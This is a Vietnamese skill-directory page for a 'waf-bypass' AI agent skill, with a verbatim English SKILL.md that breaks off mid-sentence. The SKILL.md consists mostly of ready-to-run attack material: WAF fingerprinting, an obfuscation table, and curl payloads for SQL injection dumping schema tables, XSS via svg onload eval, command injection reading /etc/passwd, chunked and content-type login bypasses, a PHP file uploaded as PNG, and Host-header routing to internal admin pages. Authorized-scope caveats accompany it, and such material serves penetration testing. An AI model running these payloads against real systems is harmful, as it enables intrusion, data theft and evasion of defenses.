Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14084

waf-bypass

Skill này làm gì

Hướng dẫn này nói về cách người kiểm thử bảo mật kiểm tra xem tường lửa ứng dụng web có chặn đúng những gì cần chặn không. Dành cho người kiểm thử được ủy quyền cần xác nhận độ phủ của tường lửa trong phạm vi chương trình cho phép.

Khi nào nên dùng

  • ✓Khi một bài kiểm thử được ủy quyền cần xác định tường lửa ứng dụng web nào đang bảo vệ một trang.
  • ✓Khi bạn muốn kiểm tra xem bộ quy tắc tường lửa có bỏ sót các biến thể rõ ràng của một tấn công đã biết không.
  • ✓Khi một chương trình đặt giới hạn tốc độ hoặc header của người kiểm thử phải được tuân thủ trong quá trình rà soát tường lửa.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Trang của chúng tôi nằm sau một tường lửa ứng dụng web. Bạn có thể xác định đó là loại nào và kiểm tra xem các quy tắc có lỗ hổng rõ ràng không, trong phạm vi kiểm thử của chúng tôi?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent trước hết xác định tường lửa và các tầng bao quanh ứng dụng, rồi kiểm tra mức độ nhất quán của các tầng đó khi xử lý yêu cầu, và vẫn trong giới hạn đã thống nhất.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

WAF Bypass / Evasion

A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (X-Bug-Bounty: <HANDLE>).

1. Recon first — fingerprint the WAF

See skills/standard/recon/web-recon/waf-detection/SKILL.md. Without a fingerprint you are guessing. Quick:

wafw00f -a "https://<TARGET>"
curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'
nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yaml

Note the stack: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser — bypasses live in the gaps.

2. Payload obfuscation

Layer Technique Example
Case Mixed case on keywords (most modern WAFs are case-insensitive — try anyway) SeLeCt, uNiOn
Whitespace Tab, FF, CR, LF, /**/, +, %a0, %0b, %0c between tokens UNION/**/SELECT, UNION%a0SELECT
Comments Inline SQL comments split keywords UN/**/ION, SEL/*!50000*/ECT (MySQL versioned)
Encoding URL-encode, double-URL-encode, unicode, HTML entity, base64 %2527, %u0027, &#39;, \x27, \u0027
Mixed encoding Encode only the bytes the rule looks for '%20OR%201=1-- → %27 OR 1%3D1--
Alternate syntax (SQL) UNION-less extraction via boolean/blind, `
Alternate syntax (XSS) Tagless / event-less / template / SVG / MathML <svg/onload=alert(1)>, <details/open/ontoggle=alert(1)>, <style>@import"//x"</style>
String concat Break signatures into pieces '+'al'+'ert'+'(1)+', concat(0x61,0x64,0x6d,0x69,0x6e)
Backtick / quote variants `select`, "select", [select] (MSSQL), N'admin'
Null bytes %00 early-terminates many string ops in C-backed parsers admin%00.png
Charset Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 Content-Type: ...; charset=utf-16le
Path normalization ..;/, ..%2f, ..%252f, ;/, // between segments /admin..;/users
# SQLi rule bypass — split UNION SELECT
PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"

# XSS rule bypass — no parens, no "alert"
curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'

# Cmd-injection rule bypass — IFS for spaces, brace expansion, $@
curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"

3. HTTP-level evasion

Bypasses that exploit parser differences between WAF and origin.

# 3.1 Chunked transfer — WAF disables inspection on chunked bodies (still common)
curl -sk -X POST "https://<TARGET>/login" \
  -H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary $'1d\r\nusername=admin\'+OR+1=1--\r\n0\r\n\r\n'

# 3.2 Content-Type confusion — WAF parses as form, app parses as JSON (or vice versa)
curl -sk -X POST "https://<TARGET>/api/login" \
  -H 'Content-Type: text/plain' \
  --data '{"user":"admin\" OR 1=1--","pass":"x"}'

# 3.3 Multipart smuggling — payload hidden in a part the WAF does not inspect
curl -sk -X POST "https://<TARGET>/upload" \
  -F 'file=@evil.php;type=image/png' \
  -F 'meta={"role":"admin"};type=application/json'

# 3.4 charset= trick (UTF-7, UTF-16, IBM037)
curl -sk -X POST "https://<TARGET>/api" \
  -H 'Content-Type: application/json; charset=ibm037' \
  --data-binary @ibm037-payload.bin

# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)
curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \
  -H 'Host: internal-admin' "https://internal-admin/admin"

# 3.6 HTTP/2 → HTTP/1 downgrade smuggling (paired with smuggling skill)
# See skills/standard/exploit/web/smuggling/SKILL.md

# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)
curl -sk --http2-prior-knowledge "https://<TARGET>/" \
  -H ':path: /admin/../public' -i

# 3.8 Param pollution — WAF inspects firs
Câu hỏi thường gặp

Vì sao phải nhận diện tường lửa trước?

Hướng dẫn cho biết các kiểm tra phù hợp phụ thuộc vào nhà cung cấp tường lửa và ngăn xếp, nên đoán mò sẽ mất thời gian.

Nó có bao gồm giới hạn tốc độ không?

Có. Hướng dẫn nói người kiểm thử nên giữ trong giới hạn tốc độ của chương trình và tránh các luồng khách hàng đang hoạt động.

Có cần header của người kiểm thử không?

Khi chương trình yêu cầu header của nhà nghiên cứu, hướng dẫn nói rằng cần đưa nó vào.

Chi tiết

Mô tả gốc của tác giả

WAF evasion — payload obfuscation, HTTP-level evasion, origin-IP discovery, rate/anomaly evasion, per-WAF notes (Cloudflare/Akamai/AWS WAF/ModSecurity).

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14084
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự